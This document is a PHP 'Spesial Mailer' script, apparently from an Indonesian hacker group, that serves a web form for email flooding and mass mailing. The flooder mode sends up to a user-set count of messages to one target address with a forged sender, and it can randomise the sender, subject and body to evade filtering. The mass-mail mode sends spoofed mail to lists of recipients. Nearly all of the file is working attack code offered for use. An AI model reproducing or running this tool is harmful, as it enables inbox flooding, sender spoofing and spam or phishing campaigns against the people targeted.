PHP Spesial Mailer Gan

<?php
@set_time_limit(0);
error_reporting(0);
#############################################################################################
# Name      : PHP Spesial Mailer (Required Version 5++)
# Coded by  : Daroel Newbie http://fb.me/developeroel
# Dedicated to  : Seseorang yang lagi bersemayam dihati saya =))
# Thanks to : Mr.Lucka, TheJagat, Skyline, Sohai and my Friends
# Greets    : IFC, IDC, HN-C, XCrew wa ala kulli majlis ajmain :D
# License   : Bebas copas tanpa mengubah tulisan ini wkwkwk suhh
#############################################################################################
?>
<title> Spesial Mailer Gan </title>
<style>
body {
font-family:Arial;
background-image:url(http://i.imgur.com/rsCHCZW.jpg);
background-repeat:no repeat; background-attachment:fixed;
color:white;}
#d {
width:250px;
}
#dd {
width:50px;
}
#button {
background-color:black;
color:white;
font-family:Arial;
cursor:pointer;
border-radius:10px;
moz-border-radius:10px;
webkit-border-radius:10px;
}
#button:hover {
background-color:white;
color:black;
}
.notif {
height:21px;
width:350px;
border:1px solid white;
background-color:black;
text-align:center;
}
</style>
<center>
<font style="font-size:30px; font-weight:bold;"> ...:: Spesial Mailer Gan ::... </font></br>
<font style="font-size:15px;">
Coded by : Daroel Newbie 2014 </br>
</font>
</center>
</br>
<button onclick="document.location='<?php print $_SERVER['PHP_SELF']; ?>'" id="button">Mail Flooder / Boomber</button>
<button onclick="document.location='<?php print $_SERVER['PHP_SELF']."?m=mm"; ?>'" id="button">Mass Mail Sender</button>
<button onclick="document.location='<?php print $_SERVER['REQUEST_URI']; ?>'" id="button">Refresh Page</button>
<?php
// parameter
if(isset($_GET['m']))
{
    if($_GET['m']=="mm")
        {
// mass mailer
?>
<h2> Mass Mail Sender </h2>
<table>
<form method="post" action="">
<tr><td>From </td><td>:<input type="text" name="md" id="d" placeholder="whoami@mail.com"></td></tr>
<tr><td></td><td> &nbsp; <i> use comma (,) as separator !</td></tr>
<tr><td>To All</td><td>:<textarea name="mk" cols="28px"></textarea></td></tr>
<tr><td>Subject</td><td>:<input type="text" name="ms" id="d" placeholder="Mass Mailer"></td></tr>
<tr><td>Contents</td><td>:<textarea name="mi" cols="28px"></textarea></td></tr>
<tr><td></td><td><input type="submit" name="masssend" value="Send Gan !" id="button"></td></tr>
</form>
</table>
<?php
if(isset($_POST['masssend']))
{
    if(empty($_POST['md']) || empty($_POST['ms']) || empty($_POST['mi']) || empty($_POST['mk']))
    {
        echo "<div class='notif'>";
        echo "Please, Complete the form gan !";
        echo "</div>";
        }
    else
    {
    $juduleh=$_POST['ms'];
    $essenah=$_POST['mi'];
        $headers= "MIME-Version: 1.0";
        $headers= "Content-type:text/html;charset=UTF-8";
    $all_target=array($_POST['mk']);
    foreach($all_target as $kampret)
        {
                $headers="From :".$_POST['md'];
        $send=mail($kampret,$juduleh,$essenah,$headers);
                sleep(1);
        }
    echo "<div class='notif'>";
        if($send)
          {
          echo "Aselole...., email has been sent Gan!";
          }
         else
          {
         echo "owhh Shit..., Failed to send email!";
          }
         echo "</div>";
    }
}
// end mass mailer
        }
}

// end parameter
else
// default
{ ?>
<h2> Mail Flooder / Boomber / Anonymail </h2>
<table>
<form method="post" action="">
<tr><td>From </td><td>:<input type="text" name="d" id="d" placeholder="whoami@mail.com"></td></tr>
<tr><td>To</td><td>:<input type="text" name="k" id="d" placeholder="target@mail.com"></td></tr>
<tr><td>Subject</td><td>:<input type="text" name="s" id="d" placeholder="floooooooood"></td></tr>
<tr><td>Contents</td><td>:<textarea name="i" cols="28px"></textarea></td></tr>
<tr><td>Include random contens </td><td>:<select name="rand"><option value="enjek">No</option><option value="iyeh">Yes</option></select>
</td></tr>
<tr><td>Count </td><td>:<input type="text" name="brempah" id="dd" placeholder="1000"></td></tr>
<tr><td>Delay (in second)</td><td>:<input type="text" name="delay" placeholder="3" id="dd"></td></tr>
<tr><td></td><td><input type="submit" name="send" value="Send Gan !" id="button"></td></tr>
</form>
</table>
<?php
if(isset($_POST['send']))
//submit epecek
{
    if(empty($_POST['k']) || empty($_POST['s']) || empty($_POST['i']) || empty($_POST['d']))
    {
        echo "<div class='notif'>";
        echo "Please, Complete The Form gan! ";
        echo "</div>";
    }
    else
    // mun tak kosong
    {
        $kasapah=$_POST['k'];
        $juduleh=$_POST['s'];
        $essenah=$_POST['i'];
                $headers= "MIME-Version: 1.0";
                $headers= "Content-type:text/html;charset=UTF-8";

        if(empty($_POST['brempah']))
        {

            $headers= "From: ".$_POST['d'];
            $send=mail($kasapah,$juduleh,$essenah,$headers);
        }
        else
        {
            // loop
            for($rate=1;$rate<=$_POST['brempah'];$rate++)
            {
                if($_POST['rand']=="iyeh")
                {
                    $lanjengah=strlen($_POST['d']);
                    $langlang=strstr($_POST['d'],"@");
                    $gunteng=strlen($langlang);
                    $pesa=substr($_POST['d'],"0",$lanjengah-$gunteng);
                    $headers="From : ".$pesa.$rate.$langlang;
                    $juduleh=$juduleh.$rate;
                    $essenah=$essenah.$rate;
                    $send=mail($kasapah,$juduleh,$essenah,$headers);
                }
                else
                {

                                        $headers= "From: ".$_POST['d'];
                    $send=mail($kasapah,$juduleh,$essenah,$headers);
                }
            if(empty($_POST['delay'])){ sleep(1); } else { sleep($_POST['delay']); }

            }
                // end loop
         }
        echo "<div class='notif'>";
        if($send)
          {
          echo "Aselole...., email has been sent Gan!";
          }
         else
          {
         echo "owhh Shit..., Failed to send email!";
          }
         echo "</div>";
    }
    // end mun tak kosong

}
//end submit epecek
}
// end default gan
?>